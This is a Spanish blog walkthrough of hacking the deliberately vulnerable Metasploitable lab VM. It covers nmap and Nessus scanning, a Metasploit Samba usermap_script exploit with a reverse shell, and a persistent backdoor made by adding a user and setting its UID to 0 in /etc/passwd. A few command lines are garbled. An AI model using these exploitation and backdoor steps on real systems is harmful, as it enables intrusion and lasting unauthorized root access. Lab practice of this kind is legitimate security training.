domingo, 10 de junio de 2012

[Relato] Entorno de seguridad Metasploitable versión Mayo 2010, Técnica #1

Esta sólo es una técnica para explotar la distro, veo un sin fín de caminos, recorrí el primero con el que me topé. Próximamente explicaré otros métodos.

La verdad, esperaba algo más complejo, pero ahí va

Tiempo: ~20 minutos

¿Qué necesitaremos?
¿Cuáles serán nuestros objetivos?
  • Instalación del entorno
  • Mapeo de red
  • Escaneo
  • Análisis
  • Ataque y Root
  • Backdoor SSH
  • Despedida
¿Reglas?
  • No.

Instalación del entorno


Lo primero será obtener la imagen del disco duro del sistema desde el link citado anteriormente.
Cabe aclarar, que para acoplar el fichero VMDK a VirtualBox, primero tendrán que convertirlo a VDI. Esto se soluciona acoplandola a VMWare.


La configuración es autmática, sólo deberás configurar la red como adaptador host a host.

Mapeo de red


Como de costumbre, acudiremos a nmap.
nmap -sP 192.168.xxx.*
Esto arroja:
Starting Nmap 5.51 ( http://nmap.org ) at 2012-06-09 11:54 Hora de verano romance
Nmap scan report for 192.168.29.1
Host is up.
Nmap scan report for 192.168.29.128
Host is up (0.012s latency).
MAC Address: 00:0C:29:1E:8B:E7 (VMware)
Nmap scan report for 192.168.29.254
Host is up (0.0030s latency).
MAC Address: 00:50:56:F1:C8:4D (VMware)
Nmap done: 256 IP addresses (3 hosts up) scanned in 8.06 seconds

Tenemos nuesta máquina lista en la dirección 192.168.29.128.



Escaneo
 
Hechemos un vistazo rápido con Nmap:
nmap -sS -sV 192.168.29.128
Aquí nos topamos con algunas cosas interesantes.
PORT STATE SERVICE VERSION
21/tcp open ftp?
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 wi
th Suhosin-Patch)
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:1E:8B:E7 (VMware)
Service Info: Host: metasploitable.localdomain; OS: Linux

Da más miedo que Bush hablando de paz.

Como sospechaba, aquí esta el terrorífico resultado de Nessus:

Alta:Apache HTTP Server Byte Range DoS
Microsoft Windows SMB Shares Unprivileged Access


 Media:
 SMB Signing Disabled HTTP TRACE / TRACK Methods Allowed
Apache HTTP Server httpOnly Cookie Information Disclosure

 Baja: 
 [...] Muchisimas vulnerabilidades leves

Así que empecemos por la primera... Heap-Based Remote Buffer Overflow.

Buscando por Google concluimos:


Attackers can exploit this vulnerability to execute arbitrary code with SYSTEM-level privileges. Failed exploit attempts will result in a denial-of-service condition. 

Un atacante puede ejecutar código arbitrario en la máquina remota mediante desbordamiento de buffer. Ésto se consigue sobreescribiendo la pila para redireccionar el punto de retorno hacia nuestro código malicioso, que, por ejemplo, dejará un puerto a la escucha.

Todo con permisos System (ROOT)

Si el ataque no prospera, nuestro ataque generará una saturación en dicho servicio que finalizará en K.O. informático (DoS). Véase PortKnocking

Análisis

Tenemos un fallo, de entre tantos, en el servicio SAMBA. Antes de ponernos a rompernos la cabeza con el exploit... Teniendo en cuenta que ya no es ningún reto, acudiremos directamente a Metasploit.

Esto no pretende ser ningún tipo de tutorial sobre nessus, metasploit o nmap, sino una guia de ataque. Sin embargo, para quienes jamás utilizaron MSF pero sí se dedican a esto, deberían conocer los comandos básicos. O cómo llegar a ellos.
  1. search EXPLOIT
  2. use EXPLOITlink
  3. search PAYPLOADS
  4. set PAYLOAD PayLoadlink
  5. show options
  6. set OPCIÓN Valor
  7. exploit
Esta sería una guía abstracta. Hay quien ensucia nombres "sabiendo como y no porqué"


Procedamos al ataque.

Ataque y ROOT


Pues bien, primero sería acudir a la búsqueda del exploit.
search samba

Advertí el siguiente exploit, que utilicé:
use exploit/multi/samba/usermap_script


Me puse a identificar payloads... Haber cual me conviene más
search payload


Y configuré como payload una shell inversa para su S.O.
set PAYLOAD cmd/unix/reversepayload/cmd/unix/reverse 


Y listo, solo falta configurar opciones.
SHOW OPTIONS
-------------
set RPORT 445
set LHOST 192.168.29.1
RHOST 192.168.29.128


Final:
exploit


Backdoor SSH

Ya que logramos acceder con permisos de ROOT, es tan simple como ejecutar el comando passwd.

Posteriormente, estramos por ssh...

ssh root@192.168.29.128
root@192.168.29.128's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~#

Dejamos un regalito:

root@metasploitable:~# adduser yo-mismo
Adding user `yo-mismo' ...
Adding new group `yo-mismo' (1004) ...
Adding new user `yo-mismo' (1004) with group `yo-mismo' ...
Creating home directory `/home/yo-mismo' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for yo-mismo
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [y/N] y
root@metasploitable:~#

Ya tenemos un nuevo usuario en la máquina.... Vamos a cambiarle los permisos
nano /etc/passwd
Y ahí cambiamos:

yo-mismo:x:1004:1004:,,,:/home/yo-mismo:/bin/bashar/lib/postgresql:/bin/bash Por:
yo-mismo:x:0:0:,,,:/home/yo-mismo:/bin/bashar/lib/postgresql:/bin/bash

Con esto modificamos el GID y el UID del usuario. únicamente sería preciso editar el ID del grupo al que pertenece (a root), pero buéh, la costumbre manda
¿Tenemos el usuario listo para entrar por SSH como ROOT?

ssh yo-mismo@192.168.29.128
yo-mismo@192.168.29.128's password:
Last login: Sat Jun 9 06:48:10 2012 from 192.168.29.1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
root@metasploitable:~# id
uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:~# 

Lindo panorama.

Despedida
Link original: OverSec.org

Dedicación: 11Sep, Hielasangre, Swash, .... A tí.

Un saludo!

No hay comentarios:

Publicar un comentario